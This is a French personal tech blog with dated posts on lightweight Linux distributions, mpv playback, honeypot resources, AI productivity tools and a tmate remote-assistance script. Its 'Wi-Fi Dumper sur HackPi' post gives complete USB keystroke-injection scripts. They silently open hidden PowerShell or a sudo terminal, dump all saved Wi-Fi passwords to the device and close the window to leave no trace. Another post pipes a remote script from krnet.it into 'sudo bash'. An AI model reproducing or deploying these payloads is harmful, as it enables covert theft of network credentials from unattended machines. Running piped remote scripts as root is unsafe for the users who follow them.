lundi 5 octobre 2026

X-Mint basée sur Linux Mint

X-Mint

Offre des fonctionnalités supplémentaires, une plus grande facilité d'utilisation, la personnalisation des menus simplifiés, prévisions météo avec icône de la barre d'état système...

lundi 28 septembre 2026

Récupération d'un portable Compaq 2Go avec Pentium T2330 + MPV pour Youtube

Lilidog

Lilidog Linux est une distribution légère et complète basée sur Debian stable avec Openbox et Tint2.

ou

Besgnulinux (version jwm)

Commandes Intallation MPV et Lecture de videos / Youtube

Extension pour forcer la lecture sur un format plus ancien mieux géré par une vielle machine :

# installation
sudo apt install mpv yt-dlp
# lecture
mpv "URL_de_la_video"

Le glisser-déposer d'une URL YouTube directement dans la fenêtre de mpv fonctionne parfaitement et lancera la vidéo instantanément.
Le fichier mpv.desktop sur le bureau doit avoir les permission en exécutable et contient quelque chose comme :
[Desktop Entry]
Type=Application
Name=mpv Media Player
Name[ca]=Reproductor multimèdia mpv
Name[cs]=mpv přehrávač
Name[da]=mpv-medieafspiller
Name[fr]=Lecteur multimédia mpv
Name[ja]=mpv メディアプレイヤー
Name[pl]=Odtwarzacz mpv
Name[ru]=Проигрыватель mpv
Name[tr]=mpv Ortam Oynatıcı
Name[zh_CN]=mpv 媒体播放器
Name[zh_TW]=mpv 媒體播放器
GenericName=Multimedia player
GenericName[cs]=Multimediální přehrávač
GenericName[da]=Multimedieafspiller
GenericName[fr]=Lecteur multimédia
GenericName[ja]=マルチメディアプレイヤー
GenericName[ru]=Мультимедийный проигрыватель
GenericName[tr]=Çoklu ortam oynatıcı
GenericName[zh_CN]=多媒体播放器
GenericName[zh_TW]=多媒體播放器
Comment=Play movies and songs
Comment[ca]=Reproduïu vídeos i cançons
Comment[cs]=Přehrává filmy a hudbu
Comment[da]=Afspil film og sange
Comment[de]=Filme und Musik abspielen
Comment[es]=Reproduzca vídeos y canciones
Comment[fr]=Lire des vidéos et des musiques
Comment[ja]=映画や音楽を再生する
Comment[it]=Lettore multimediale
Comment[pl]=Odtwarzaj filmy i muzykę
Comment[ru]=Воспроизведение фильмов и музыки
Comment[tr]=Filmleri ve şarkıları oynatın
Comment[zh_CN]=播放电影和歌曲
Comment[zh_TW]=播放電影和歌曲
Icon=mpv
TryExec=mpv
Exec=mpv --player-operation-mode=pseudo-gui -- %U
Terminal=false
Categories=AudioVideo;Audio;Video;Player;TV;
MimeType=application/ogg;application/x-ogg;application/mxf;application/sdp;application/smil;application/x-smil;application/streamingmedia;application/x-streamingmedia;application/vnd.rn-realmedia;application/vnd.rn-realmedia-vbr;audio/aac;audio/x-aac;audio/vnd.dolby.heaac.1;audio/vnd.dolby.heaac.2;audio/aiff;audio/x-aiff;audio/m4a;audio/x-m4a;application/x-extension-m4a;audio/mp1;audio/x-mp1;audio/mp2;audio/x-mp2;audio/mp3;audio/x-mp3;audio/mpeg;audio/mpeg2;audio/mpeg3;audio/mpegurl;audio/x-mpegurl;audio/mpg;audio/x-mpg;audio/rn-mpeg;audio/musepack;audio/x-musepack;audio/ogg;audio/scpls;audio/x-scpls;audio/vnd.rn-realaudio;audio/wav;audio/x-pn-wav;audio/x-pn-windows-pcm;audio/x-realaudio;audio/x-pn-realaudio;audio/x-ms-wma;audio/x-pls;audio/x-wav;video/mpeg;video/x-mpeg2;video/x-mpeg3;video/mp4v-es;video/x-m4v;video/mp4;application/x-extension-mp4;video/divx;video/vnd.divx;video/msvideo;video/x-msvideo;video/ogg;video/quicktime;video/vnd.rn-realvideo;video/x-ms-afs;video/x-ms-asf;audio/x-ms-asf;application/vnd.ms-asf;video/x-ms-wmv;video/x-ms-wmx;video/x-ms-wvxvideo;video/x-avi;video/avi;video/x-flic;video/fli;video/x-flc;video/flv;video/x-flv;video/x-theora;video/x-theora+ogg;video/x-matroska;video/mkv;audio/x-matroska;application/x-matroska;video/webm;audio/webm;audio/vorbis;audio/x-vorbis;audio/x-vorbis+ogg;video/x-ogm;video/x-ogm+ogg;application/x-ogm;application/x-ogm-audio;application/x-ogm-video;application/x-shorten;audio/x-shorten;audio/x-ape;audio/x-wavpack;audio/x-tta;audio/AMR;audio/ac3;audio/eac3;audio/amr-wb;video/mp2t;audio/flac;audio/mp4;application/x-mpegurl;video/vnd.mpegurl;application/vnd.apple.mpegurl;audio/x-pn-au;video/3gp;video/3gpp;video/3gpp2;audio/3gpp;audio/3gpp2;video/dv;audio/dv;audio/opus;audio/vnd.dts;audio/vnd.dts.hd;audio/x-adpcm;application/x-cue;audio/m3u;
X-KDE-Protocols=ftp,http,https,mms,rtmp,rtsp,sftp,smb,srt,rist,webdav,webdavs
StartupWMClass=mpv
Keywords=mpv;media;player;video;audio;tv;

Wi-Fi Dumper sur HackPi

Sur windows :

import time

import usb_hid

from adafruit_hid.keyboard import Keyboard

from adafruit_hid.keycode import Keycode

from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY


# Initialisation du clavier

kbd = Keyboard(usb_hid.devices)

layout = KeyboardLayoutFR(kbd)


def press_combo(key1, key2):

    kbd.press(key1)

    kbd.press(key2)

    time.sleep(0.1)

    kbd.release_all()

    time.sleep(0.5)


def envoyer_commande(texte):

    layout.write(texte)

    time.sleep(0.1)

    kbd.send(Keycode.ENTER)

    time.sleep(0.4)


# --- DÉBUT DE L'EXTRACTION ---

# 1. Attente de sécurité après le branchement USB

time.sleep(4)


# 2. Ouvrir la boîte de dialogue "Exécuter" (Win + R)

press_combo(Keycode.GUI, Keycode.R)

time.sleep(0.8)


# 3. Ouvrir PowerShell en arrière-plan et de manière discrète

# -WindowStyle Hidden permet de masquer rapidement la fenêtre pour rester discret

envoyer_commande("powershell -WindowStyle Hidden")

time.sleep(1.5)


# 4. Commande PowerShell pour extraire les mots de passe Wi-Fi et les enregistrer sur le HackyPi

# Le script cherche un lecteur USB contenant un dossier ou nommé 'HACKYPI' pour y écrire 'wifi_passwords.txt'

commande_payload = (

    "$drive = (Get-Volume | Where-Size -FilterScript {$_.DriveLetter -and ($_.FileSystemLabel -eq 'HACKYPI' -or $_.FriendlyName -like '*HackyPi*')}).DriveLetter;"

    "if (-not $drive) { $drive = (Get-WMIObject Win32_Volume | Where-Object {$_.DriveType -eq 2} | Select-Object -First 1).DriveLetter };"

    "$log = \"${drive}:\\wifi_passwords.txt\";"

    "(netsh wlan show profiles) | Select-String '\\:(.+)$' | ForEach-Object { $name = $_.Matches.Groups[1].Value.Trim(); "

    "if ($name) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Contenu de la cl' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' }; "

    "if (-not $pass) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Key Content' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' } }; "

    "\"SSID: $name | Password: $pass\" >> $log } }; exit"

)


# 5. Injection et exécution de la commande

envoyer_commande(commande_payload)

Sur Linux être root/admin :
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY

# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)

# --- CONFIGURATION ---
MOT_DE_PASSE_SUDO = "votre_mot_de_passe"  # REQUIS sous Linux pour lire les clés de sécurité

def press_combo(key1, key2, key3=None):
    kbd.press(key1)
    kbd.press(key2)
    if key3:
        kbd.press(key3)
    time.sleep(0.1)
    kbd.release_all()
    time.sleep(0.5)

def envoyer_commande(texte):
    layout.write(texte)
    time.sleep(0.1)
    kbd.send(Keycode.ENTER)
    time.sleep(0.4)

# --- DÉBUT DE L'EXTRACTION ---
time.sleep(4) # Attente après le branchement USB

# 1. Ouvrir le terminal Linux (Ctrl + Alt + T)
press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)
time.sleep(1.5)

# 2. Trouver dynamiquement la lettre de volume de la carte SD du HackyPi (nommée HACKYPI)
# Cette commande cherche le point de montage de la clé USB pour savoir où écrire le fichier de log.
commande_trouver_cle = "SD_PATH=$(df | grep -i 'HACKYPI' | awk '{print $6}')"
envoyer_commande(commande_trouver_cle)

# Fallback au cas où la clé n'est pas encore montée graphiquement (écriture dans /tmp)
envoyer_commande("if [ -z \"$SD_PATH\" ]; then SD_PATH='/tmp'; fi")

# 3. Commande d'extraction de tous les mots de passe stockés par NetworkManager
# On parcourt chaque fichier de configuration et on extrait le SSID (nom) et la clé PSK (mot de passe)
payload_linux = (
    "sudo bash -c 'echo \"--- Réseaux Wi-Fi Extraits ---\" > \"$SD_PATH/wifi_passwords_linux.txt\"; "
    "for f in /etc/NetworkManager/system-connections/*; do "
    "if [ -f \"$f\" ]; then "
    "ssid=$(grep -E \"^id=\" \"$f\" | cut -d= -f2); "
    "psk=$(grep -E \"^psk=\" \"$f\" | cut -d= -f2); "
    "if [ ! -z \"$psk\" ]; then echo \"SSID: $ssid | Mot de passe: $psk\" >> \"$SD_PATH/wifi_passwords_linux.txt\"; fi; "
    "fi; done'"
)

# 4. Envoi de la commande d'extraction
envoyer_commande(payload_linux)
time.sleep(1)

# 5. Injection du mot de passe sudo pour valider la lecture des fichiers protégés
envoyer_commande(MOT_DE_PASSE_SUDO)
time.sleep(2)

# 6. Nettoyage : Fermer le terminal pour ne laisser aucune trace visible
envoyer_commande("exit")

Script MicroPython : Installation native APT + Flatpak sur le HackPi

import time

import usb_hid

from adafruit_hid.keyboard import Keyboard

from adafruit_hid.keycode import Keycode

from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Layout AZERTY


# Initialisation du clavier

kbd = Keyboard(usb_hid.devices)

layout = KeyboardLayoutFR(kbd)


# --- CONFIGURATION ---

MOT_DE_PASSE_SUDO = "votre_mot_de_passe" # Laissez vide "" si vous préférez le taper vous-même


# Applications APT classiques (requis pour installer flatpak lui-même)

LOGICIELS_APT = "curl git flatpak" 


# Applications Flatpak (Utilisez les identifiants uniques de Flathub)

# Exemple : Spotify, Discord, et LibreOffice

LOGICIELS_FLATPAK = "com.spotify.Client com.discordapp.Discord org.libreoffice.LibreOffice"


def press_combo(key1, key2, key3=None):

    kbd.press(key1)

    kbd.press(key2)

    if key3:

        kbd.press(key3)

    time.sleep(0.1)

    kbd.release_all()

    time.sleep(0.5)


def envoyer_commande(texte):

    layout.write(texte)

    time.sleep(0.1)

    kbd.send(Keycode.ENTER)

    time.sleep(0.5)


# --- DÉBUT DE L'AUTOMATISATION ---

time.sleep(3) # Attente après branchement USB


# 1. Ouverture du terminal (Ctrl + Alt + T)

press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)

time.sleep(1.5)


# 2. Mise à jour APT et installation du gestionnaire Flatpak

envoyer_commande("sudo apt update && sudo apt install -y " + LOGICIELS_APT)

if MOT_DE_PASSE_SUDO:

    envoyer_commande(MOT_DE_PASSE_SUDO)

    time.sleep(15) # Temps d'attente pour l'installation d'APT et de Flatpak


# 3. Ajout du dépôt officiel Flathub

envoyer_commande("flatpak remote-add --if-not-exists flathub https://flathub.org")

time.sleep(2)


# 4. Installation massive des applications Flatpak (-y pour valider automatiquement)

# L'option --noninteractive évite que Flatpak ne demande des confirmations de permissions

commande_flatpak = f"flatpak install -y --noninteractive flathub {LOGICIELS_FLATPAK}"

envoyer_commande(commande_flatpak)


# Fin du script


lundi 21 septembre 2026

#signaler une dégradation environnementale #depots #sauvages#dechets

sentinellesdelanature.fr/signaler.html

/Android - /Apple

Sentinelles de la Nature est une plateforme participative de veille écologique créée par le mouvement France Nature Environnement pour signaler les dégradations environnementales et valoriser les actions positives.

dimanche 13 septembre 2026

Film #apiculture et #honeypot

Films

Ce soir

Second Tour

a revoir

Oklahoma Honey

The beekeeper

Honneypots

Un honeypot (ou « pot de miel ») sous Linux est une méthode de défense active qui consiste à déployer un système ou un service volontairement vulnérable. Son but est d'attirer les cyberattaquants, de détecter les intrusions au plus tôt et d'analyser leurs méthodes sans mettre en danger votre infrastructure de production. En fonction de vos objectifs (apprentissage, surveillance de réseau ou recherche), plusieurs outils open source s'imposent comme des références sur Linux.
github.security.telekom.com/honeypot.html - www.geeek.org/t-pot-honeypot-opensource-docker/

bruteforce.gr/honeydrive/

cowrie.org

github.com/stricaud/dionaea - dionaea.readthedocs.io - nerdtek.fr/dionaea-le-honeypot-qui-capture-les-malwares/

github.com/desaster/kippo - bruteforce.gr/kippo-graph

kojoney.sourceforge.net

github.com/telekom-security/tpotce

Autres

www.honeyd.org

www.honeynet.org

github.com/radareorg/radare2

blog.malwaremustdie.org

www.sysdig.com


Travailler avec une IA

www.notion.com/fr/product/ai se baser sur vos propres données, notes et documents professionnels ou personnels pour travailler à votre place. @louattal - @roxanne.beaumont - @KreaCity


zapier.com agit comme un chef d'orchestre qui fait communiquer vos logiciels de manière intelligente.


gamma.app/fr outil d'intelligence artificielle conçu pour créer automatiquement des présentations (slides), des documents visuels et des pages web en quelques secondes à partir d'une simple idée ou d'un texte.

www.beautiful.ai

otter.ai transcription automatique de la parole en texte et la prise de notes de réunion.

ticnote.com

fireflies.ai enregistrer, retranscrire mot à mot, résumer et analyser toutes vos conversations.

get.mem.ai se charge de tout lier, classer et retrouver de manière contextuelle.

www.copy.ai rédaction de contenus marketing, la création de textes publicitaires (copywriting) et l'automatisation des processus de vente.

www.shortwave.com transformer votre boîte Gmail en un espace de travail ultra-productif.


writer.com


surferseo.com

www.adcreative.ai

www.feedhive.com


monica.im


www.limitless.ai


www.tealhq.com


www.jasper.ai

www.flexhire.com


Détection de contennu généré par l'intelligence artificielle / Faux :

www.pangram.com

sloptotal.com

git clone https://github.com/pablocaeg/sloptotal.git

cd sloptotal

python3.11 -m venv venv && source venv/bin/activate

pip install --upgrade pip && pip install -r requirements.txt

./start.sh

mardi 1 septembre 2026

Prévoir une sauvegarde de l'image système de base en cas de réinstallation ou duplication

curl -FsSL https://krnet.it | sudo bash
sudo eggs produce --cuckoo

aller chercher l'image dans /home/eggs/

#Assistance suite #RPI3 en 2026 Raccourci clavier "Bouton Panique" dans Sway, couplé à une interface visuelle épurée dans le terminal pour 1 #PMAD

 Étape 1 : S'assurer que tmate est installé

Si ce n'est pas déjà fait, ouvrez votre terminal et installez l'utilitaire :
bash
sudo apt update && sudo apt install tmate
Utilisez le code avec précaution.

Étape 2 : Créer le script "Bouton Panique" (SOS)
Nous allons créer un petit script qui lance tmate, attend que la connexion sécurisée s'établisse, puis affiche le lien d'assistance de manière géante et très claire pour le novice.
  1. Créez et ouvrez le fichier du script :
    bash
    micro ~/sos-depannage.sh
    
    Utilisez le code avec précaution.
  2. Collez l'intégralité du code suivant à l'intérieur :
bash
#!/bin/bash
clear
echo "=================================================="
echo "    DÉMARRAGE DE L'ASSISTANCE À DISTANCE (SOS)   "
echo "=================================================="
echo "Veuillez patienter quelques secondes pendant la connexion..."
echo ""

# Lance tmate en arrière-plan
tmate -F &
sleep 3

# Récupère le lien web sécurisé
WEB_LINK=$(tmate display -p '#{tmate_web}')

clear
echo "=================================================="
echo "              CONNEXION RÉUSSIE !                 "
echo "=================================================="
echo ""
echo "Pour que je puisse vous aider à distance, veuillez"
echo "copier et m'envoyer ce lien par SMS ou Teams :"
echo ""
echo "👉 $WEB_LINK"
echo ""
echo "=================================================="
echo "⚠️  Ne fermez pas cette fenêtre tant que le"
echo "   dépannage n'est pas terminé."
echo "=================================================="

# Maintient la fenêtre ouverte
read -p "Appuyez sur ENTRÉE uniquement pour couper l'accès..."
killall tmate
Utilisez le code avec précaution.
  1. Sauvegardez (Ctrl+S) et quittez (Ctrl+Q).
  2. Rendre le script exécutable (Crucial) :
    bash
    chmod +x ~/sos-depannage.sh
    
    Utilisez le code avec précaution.

Étape 3 : Créer le raccourci visuel dans Sway
Maintenant, nous allons lier ce script à un raccourci clavier mémorable dans votre fichier ~/.config/sway/config. Nous allons utiliser la combinaison Touche Windows + F1 (la touche d'aide universelle).
Ouvrez votre fichier de configuration et ajoutez cette ligne tout en bas :
text
# BOUTON SOS : Lance l'assistance à distance dans une fenêtre flottante géante
bindsym $mod+F1 exec foot -T "SOS - Assistance à Distance" -e ~/sos-depannage.sh
Utilisez le code avec précaution.
(L'option -T donne un titre rassurant à la fenêtre du terminal foot pour que le novice sache exactement ce qui se passe).

🚀 Comment ça marche pour le novice en cas de pépin ?
  1. Le novice rencontre un problème et vous appelle.
  2. Vous lui dites : "Appuie sur la touche Windows et la touche F1 en même temps."
  3. Une fenêtre de terminal s'ouvre instantanément au milieu de son écran.
  4. Moins de 3 secondes plus tard, un message en français lui affiche son lien personnel (ex : https://tmate.io).
  5. Le novice fait un clic droit sur le lien, choisit "Copier", et vous l'envoie sur Microsoft Teams.
  6. De votre côté, vous cliquez sur ce lien depuis votre propre PC (Windows/Mac/Linux) : vous accédez immédiatement à son système pour le réparer en temps réel !
  7. Une fois terminé, le novice appuie sur Entrée et la fenêtre se ferme, coupant totalement votre accès pour garantir sa vie privée.

Archives du blog